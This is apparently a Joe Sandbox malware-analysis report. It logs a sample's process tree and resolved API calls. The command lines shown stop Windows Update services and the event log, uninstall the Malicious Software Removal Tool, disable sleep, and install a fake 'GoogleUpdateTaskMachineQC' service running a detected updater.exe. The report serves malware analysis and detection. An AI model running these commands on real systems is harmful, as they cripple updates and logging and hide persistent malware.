MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff635260000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7b30f0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff696bc0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff696bc0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff696bc0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff696bc0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	23:17:41
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff7d4bc0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	23:17:42
Start date:	28/10/2024
Path:	C:\ProgramData\Google\Chrome\updater.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Google\Chrome\updater.exe
Imagebase:	0x7ff7b9f90000
File size:	8'582'552 bytes
MD5 hash:	880C9E3235130A6AAAA3EC25BE18BDB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	45.6%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 00419F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,008557F0), ref: 00419F3D
GetProcAddress.KERNEL32(74DD0000,00855830), ref: 00419F55
GetProcAddress.KERNEL32(74DD0000,0085C588), ref: 00419F6E
GetProcAddress.KERNEL32(74DD0000,0085C570), ref: 00419F86
GetProcAddress.KERNEL32(74DD0000,0085C528), ref: 00419F9E
GetProcAddress.KERNEL32(74DD0000,0085C4F8), ref: 00419FB7
GetProcAddress.KERNEL32(74DD0000,0085A2C8), ref: 00419FCF
GetProcAddress.KERNEL32(74DD0000,0085C4C8), ref: 00419FE7
GetProcAddress.KERNEL32(74DD0000,0085C4E0), ref: 0041A000
GetProcAddress.KERNEL32(74DD0000,0085C540), ref: 0041A018
GetProcAddress.KERNEL32(74DD0000,0085C558), ref: 0041A030
GetProcAddress.KERNEL32(74DD0000,00855810), ref: 0041A049
GetProcAddress.KERNEL32(74DD0000,00855850), ref: 0041A061
GetProcAddress.KERNEL32(74DD0000,008556F0), ref: 0041A079
GetProcAddress.KERNEL32(74DD0000,008555B0), ref: 0041A092
GetProcAddress.KERNEL32(74DD0000,00860798), ref: 0041A0AA
GetProcAddress.KERNEL32(74DD0000,00860780), ref: 0041A0C2
GetProcAddress.KERNEL32(74DD0000,00859EE0), ref: 0041A0DB
GetProcAddress.KERNEL32(74DD0000,00855950), ref: 0041A0F3
GetProcAddress.KERNEL32(74DD0000,00860678), ref: 0041A10B
GetProcAddress.KERNEL32(74DD0000,008605A0), ref: 0041A124
GetProcAddress.KERNEL32(74DD0000,008606A8), ref: 0041A13C
GetProcAddress.KERNEL32(74DD0000,00860660), ref: 0041A154
GetProcAddress.KERNEL32(74DD0000,008555D0), ref: 0041A16D
GetProcAddress.KERNEL32(74DD0000,008605B8), ref: 0041A185
GetProcAddress.KERNEL32(74DD0000,008606C0), ref: 0041A19D
GetProcAddress.KERNEL32(74DD0000,00860720), ref: 0041A1B6
GetProcAddress.KERNEL32(74DD0000,008605D0), ref: 0041A1CE
GetProcAddress.KERNEL32(74DD0000,00860600), ref: 0041A1E6
GetProcAddress.KERNEL32(74DD0000,008604F8), ref: 0041A1FF
GetProcAddress.KERNEL32(74DD0000,008606D8), ref: 0041A217
GetProcAddress.KERNEL32(74DD0000,00860618), ref: 0041A22F
GetProcAddress.KERNEL32(74DD0000,00860588), ref: 0041A248
GetProcAddress.KERNEL32(74DD0000,008594E8), ref: 0041A260
GetProcAddress.KERNEL32(74DD0000,00860738), ref: 0041A278
GetProcAddress.KERNEL32(74DD0000,00860558), ref: 0041A291
GetProcAddress.KERNEL32(74DD0000,008555F0), ref: 0041A2A9
GetProcAddress.KERNEL32(74DD0000,008605E8), ref: 0041A2C1
GetProcAddress.KERNEL32(74DD0000,00855610), ref: 0041A2DA
GetProcAddress.KERNEL32(74DD0000,00860630), ref: 0041A2F2
GetProcAddress.KERNEL32(74DD0000,00860510), ref: 0041A30A
GetProcAddress.KERNEL32(74DD0000,00855710), ref: 0041A323
GetProcAddress.KERNEL32(74DD0000,00855270), ref: 0041A33B
LoadLibraryA.KERNEL32(00860528,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A34D
LoadLibraryA.KERNEL32(00860648,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A35E
LoadLibraryA.KERNEL32(00860750,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A370
LoadLibraryA.KERNEL32(00860690,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A382
LoadLibraryA.KERNEL32(008606F0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A393
LoadLibraryA.KERNEL32(00860570,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3A5
LoadLibraryA.KERNEL32(00860708,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3B7
LoadLibraryA.KERNEL32(00860768,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3C8
GetProcAddress.KERNEL32(75290000,008554B0), ref: 0041A3EA
GetProcAddress.KERNEL32(75290000,008607B0), ref: 0041A402
GetProcAddress.KERNEL32(75290000,0085DAE0), ref: 0041A41A
GetProcAddress.KERNEL32(75290000,00860540), ref: 0041A433
GetProcAddress.KERNEL32(75290000,008554D0), ref: 0041A44B
GetProcAddress.KERNEL32(73B40000,0085A2A0), ref: 0041A470
GetProcAddress.KERNEL32(73B40000,008553F0), ref: 0041A489
GetProcAddress.KERNEL32(73B40000,00859F08), ref: 0041A4A1
GetProcAddress.KERNEL32(73B40000,008604C8), ref: 0041A4B9
GetProcAddress.KERNEL32(73B40000,008604E0), ref: 0041A4D2
GetProcAddress.KERNEL32(73B40000,00855490), ref: 0041A4EA
GetProcAddress.KERNEL32(73B40000,008554F0), ref: 0041A502
GetProcAddress.KERNEL32(73B40000,008607E0), ref: 0041A51B
GetProcAddress.KERNEL32(752C0000,00855310), ref: 0041A53C
GetProcAddress.KERNEL32(752C0000,00855370), ref: 0041A554
GetProcAddress.KERNEL32(752C0000,00860840), ref: 0041A56D
GetProcAddress.KERNEL32(752C0000,00860858), ref: 0041A585
GetProcAddress.KERNEL32(752C0000,008551D0), ref: 0041A59D
GetProcAddress.KERNEL32(74EC0000,0085A2F0), ref: 0041A5C3
GetProcAddress.KERNEL32(74EC0000,00859F30), ref: 0041A5DB
GetProcAddress.KERNEL32(74EC0000,00860828), ref: 0041A5F3
GetProcAddress.KERNEL32(74EC0000,008553B0), ref: 0041A60C
GetProcAddress.KERNEL32(74EC0000,00855430), ref: 0041A624
GetProcAddress.KERNEL32(74EC0000,0085A318), ref: 0041A63C
GetProcAddress.KERNEL32(75BD0000,00860870), ref: 0041A662
GetProcAddress.KERNEL32(75BD0000,00855330), ref: 0041A67A
GetProcAddress.KERNEL32(75BD0000,0085DAB0), ref: 0041A692
GetProcAddress.KERNEL32(75BD0000,00860888), ref: 0041A6AB
GetProcAddress.KERNEL32(75BD0000,008607C8), ref: 0041A6C3
GetProcAddress.KERNEL32(75BD0000,008551F0), ref: 0041A6DB
GetProcAddress.KERNEL32(75BD0000,00855510), ref: 0041A6F4
GetProcAddress.KERNEL32(75BD0000,008607F8), ref: 0041A70C
GetProcAddress.KERNEL32(75BD0000,00860810), ref: 0041A724
GetProcAddress.KERNEL32(75A70000,008553D0), ref: 0041A746
GetProcAddress.KERNEL32(75A70000,00860EE8), ref: 0041A75E
GetProcAddress.KERNEL32(75A70000,00860FA8), ref: 0041A776
GetProcAddress.KERNEL32(75A70000,00860F78), ref: 0041A78F
GetProcAddress.KERNEL32(75A70000,00860F00), ref: 0041A7A7
GetProcAddress.KERNEL32(75450000,00855550), ref: 0041A7C8
GetProcAddress.KERNEL32(75450000,00855390), ref: 0041A7E1
GetProcAddress.KERNEL32(75DA0000,00855290), ref: 0041A802
GetProcAddress.KERNEL32(75DA0000,00861008), ref: 0041A81A
GetProcAddress.KERNEL32(6F070000,00855410), ref: 0041A840
GetProcAddress.KERNEL32(6F070000,00855450), ref: 0041A858
GetProcAddress.KERNEL32(6F070000,00855470), ref: 0041A870
GetProcAddress.KERNEL32(6F070000,00861020), ref: 0041A889
GetProcAddress.KERNEL32(6F070000,008552F0), ref: 0041A8A1
GetProcAddress.KERNEL32(6F070000,00855350), ref: 0041A8B9
GetProcAddress.KERNEL32(6F070000,00855530), ref: 0041A8D2
GetProcAddress.KERNEL32(6F070000,00855570), ref: 0041A8EA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0041A901
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0041A917
GetProcAddress.KERNEL32(75AF0000,00860F90), ref: 0041A939
GetProcAddress.KERNEL32(75AF0000,0085DA80), ref: 0041A951
GetProcAddress.KERNEL32(75AF0000,00860F48), ref: 0041A969
GetProcAddress.KERNEL32(75AF0000,00860F60), ref: 0041A982
GetProcAddress.KERNEL32(75D90000,00855590), ref: 0041A9A3
GetProcAddress.KERNEL32(6E360000,00860FF0), ref: 0041A9C4
GetProcAddress.KERNEL32(6E360000,008551B0), ref: 0041A9DD
GetProcAddress.KERNEL32(6E360000,00860F30), ref: 0041A9F5
GetProcAddress.KERNEL32(6E360000,00860FC0), ref: 0041AA0D

Strings

HttpQueryInfoA, xrefs: 0041A90C
InternetSetOptionA, xrefs: 0041A8F5

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction ID: fc853244e6edf76f870e234c3061c456cb9d9aaab695e8dd72f65461d71d1d70
Opcode Fuzzy Hash: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction Fuzzy Hash: 98623EB5D1B2549FC344DFA8FC8895677BBA78D301318A61BF909C3674E734A640CB62

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,00416C9B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,00416C9B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
